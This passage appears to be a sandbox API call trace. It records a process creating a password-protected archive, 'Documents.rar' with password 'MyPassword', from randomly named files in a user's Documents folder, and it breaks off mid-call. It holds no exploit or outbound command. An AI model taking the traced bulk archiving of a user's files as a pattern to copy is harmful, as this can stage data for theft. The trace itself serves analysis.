[0068.084] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a582b, nNumberOfBytesToRead=0xfa815, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a582b*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.084] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.084] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.084] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63aa0, Size=0x48) returned 0x39db40 [0068.084] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.084] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.084] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63aa0, Size=0x48) returned 0x39daf0 [0068.084] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.084] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.084] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.084] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.084] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ad0 | out: hHeap=0x2e0000) returned 1 [0068.084] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63aa0 | out: hHeap=0x2e0000) returned 1 [0068.084] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a70, Size=0x48) returned 0x39db40 [0068.084] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.084] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.084] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.085] GetTickCount () returned 0xa67503 [0068.085] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14342507676) returned 1 [0068.085] GetTickCount () returned 0xa67503 [0068.085] GetTickCount () returned 0xa67503 [0068.085] GetTickCount () returned 0xa67503 [0068.085] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.085] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.085] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.085] ResetEvent (hEvent=0x1a4) returned 1 [0068.085] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.086] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.086] ResetEvent (hEvent=0x1a4) returned 1 [0068.086] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.087] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.087] GetTickCount () returned 0xa67503 [0068.087] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14342753010) returned 1 [0068.087] GetTickCount () returned 0xa67503 [0068.087] GetTickCount () returned 0xa67503 [0068.087] GetTickCount () returned 0xa67503 [0068.087] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.087] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.087] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.087] ResetEvent (hEvent=0x190) returned 1 [0068.087] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.088] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.088] ResetEvent (hEvent=0x190) returned 1 [0068.088] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.088] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.088] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.088] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.088] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0xfcbe7 [0068.088] SetFilePointer (in: hFile=0x198, lDistanceToMove=109, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0xfcc54 [0068.088] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.088] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.088] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.088] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.088] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.088] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5840, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5840, lpOverlapped=0x0) returned 1 [0068.091] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.091] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.091] SetFilePointer (in: hFile=0x198, lDistanceToMove=1035239, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0xfcbe7 [0068.091] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0xfcbe7 [0068.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.091] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.091] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63aa0, Size=0x48) returned 0x39daf0 [0068.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.092] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63aa0, Size=0x48) returned 0x39db40 [0068.092] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.092] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.092] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ad0 | out: hHeap=0x2e0000) returned 1 [0068.092] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63aa0 | out: hHeap=0x2e0000) returned 1 [0068.092] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63a70, Size=0x48) returned 0x39daf0 [0068.092] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.092] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6d, lpOverlapped=0x0) returned 1 [0068.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63a70 [0068.092] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6d) returned 0x3b4b890 [0068.092] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.092] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.092] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x102494 [0068.092] CloseHandle (hObject=0x1b0) returned 1 [0068.092] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.092] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.092] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.092] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.092] FindFirstFileW (in: lpFileName="GIwIhnYq\\01ty5ZVjiFX.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.092] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.093] CreateFileW (lpFileName="GIwIhnYq\\01ty5ZVjiFX.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\giwihnyq\\01ty5zvjifx.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.093] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.093] GetTickCount () returned 0xa67513 [0068.093] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.093] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.093] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.093] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.093] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="G8MmJscBgVAAB6EEG8d0.docx") returned 25 [0068.093] SetWindowTextW (hWnd=0x10280, lpString="01ty5ZVjiFX.xlsx") returned 1 [0068.093] GetTickCount () returned 0xa67513 [0068.093] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 1 [0068.093] GetMessageW (in: lpMsg=0x1cd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd830) returned 1 [0068.093] GetFocus () returned 0x0 [0068.093] TranslateMessage (lpMsg=0x1cd830) returned 0 [0068.093] DispatchMessageW (lpMsg=0x1cd830) returned 0x0 [0068.093] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.094] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.094] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.094] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x2d4)) [0068.094] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.094] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14343409518) returned 1 [0068.094] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xe71a, lpOverlapped=0x0) returned 1 [0068.094] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ae75a, nNumberOfBytesToRead=0xf18e6, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ae75a*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.094] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.094] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.095] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ad0, Size=0x48) returned 0x39db40 [0068.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.095] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ad0, Size=0x48) returned 0x39daf0 [0068.095] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.095] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.095] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b00 | out: hHeap=0x2e0000) returned 1 [0068.095] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ad0 | out: hHeap=0x2e0000) returned 1 [0068.095] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63aa0, Size=0x48) returned 0x39db40 [0068.095] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.095] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.095] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.095] GetTickCount () returned 0xa67513 [0068.095] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14343562588) returned 1 [0068.095] GetTickCount () returned 0xa67513 [0068.095] GetTickCount () returned 0xa67513 [0068.095] GetTickCount () returned 0xa67513 [0068.095] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.095] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.095] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.096] ResetEvent (hEvent=0x1a4) returned 1 [0068.096] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.098] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.098] ResetEvent (hEvent=0x1a4) returned 1 [0068.098] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.100] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.100] GetTickCount () returned 0xa67513 [0068.100] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14344038731) returned 1 [0068.100] GetTickCount () returned 0xa67513 [0068.100] GetTickCount () returned 0xa67513 [0068.100] GetTickCount () returned 0xa67513 [0068.100] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.100] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.100] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.100] ResetEvent (hEvent=0x190) returned 1 [0068.100] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.101] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.101] ResetEvent (hEvent=0x190) returned 1 [0068.101] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.102] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.102] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.102] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.102] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x102494 [0068.102] SetFilePointer (in: hFile=0x198, lDistanceToMove=109, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x102501 [0068.102] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.102] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.102] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.102] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.102] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xe7a0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xe7a0, lpOverlapped=0x0) returned 1 [0068.103] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.103] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.103] SetFilePointer (in: hFile=0x198, lDistanceToMove=1057940, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x102494 [0068.103] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x102494 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.103] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ad0, Size=0x48) returned 0x39daf0 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.103] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63ad0, Size=0x48) returned 0x39db40 [0068.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63ad0 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63b00 [0068.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63b00 | out: hHeap=0x2e0000) returned 1 [0068.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63ad0 | out: hHeap=0x2e0000) returned 1 [0068.103] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63aa0, Size=0x48) returned 0x39daf0 [0068.103] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.103] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6d, lpOverlapped=0x0) returned 1 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63aa0 [0068.103] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6d) returned 0x3b4b910 [0068.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.103] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.103] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x110ca1 [0068.103] CloseHandle (hObject=0x1b0) returned 1 [0068.103] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.103] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.103] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.103] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.103] FindFirstFileW (in: lpFileName="GIwIhnYq\\4aTOLAatL.rtf", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.103] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.104] CreateFileW (lpFileName="GIwIhnYq\\4aTOLAatL.rtf" (normalized: "c:\\users\\whuoxysd\\documents\\giwihnyq\\4atolaatl.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.104] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.104] GetTickCount () returned 0xa67513 [0068.104] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.104] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.104] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.104] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.104] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="01ty5ZVjiFX.xlsx") returned 16 [0068.104] SetWindowTextW (hWnd=0x10280, lpString="4aTOLAatL.rtf") returned 1 [0068.104] GetTickCount () returned 0xa67513 [0068.104] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.104] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.104] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.104] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.104] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x2d4)) [0068.104] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.104] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14344801174) returned 1 [0068.108] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x18a3a, lpOverlapped=0x0) returned 1 [0068.109] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b8a7a, nNumberOfBytesToRead=0xe75c6, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b8a7a*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.109] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.109] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, 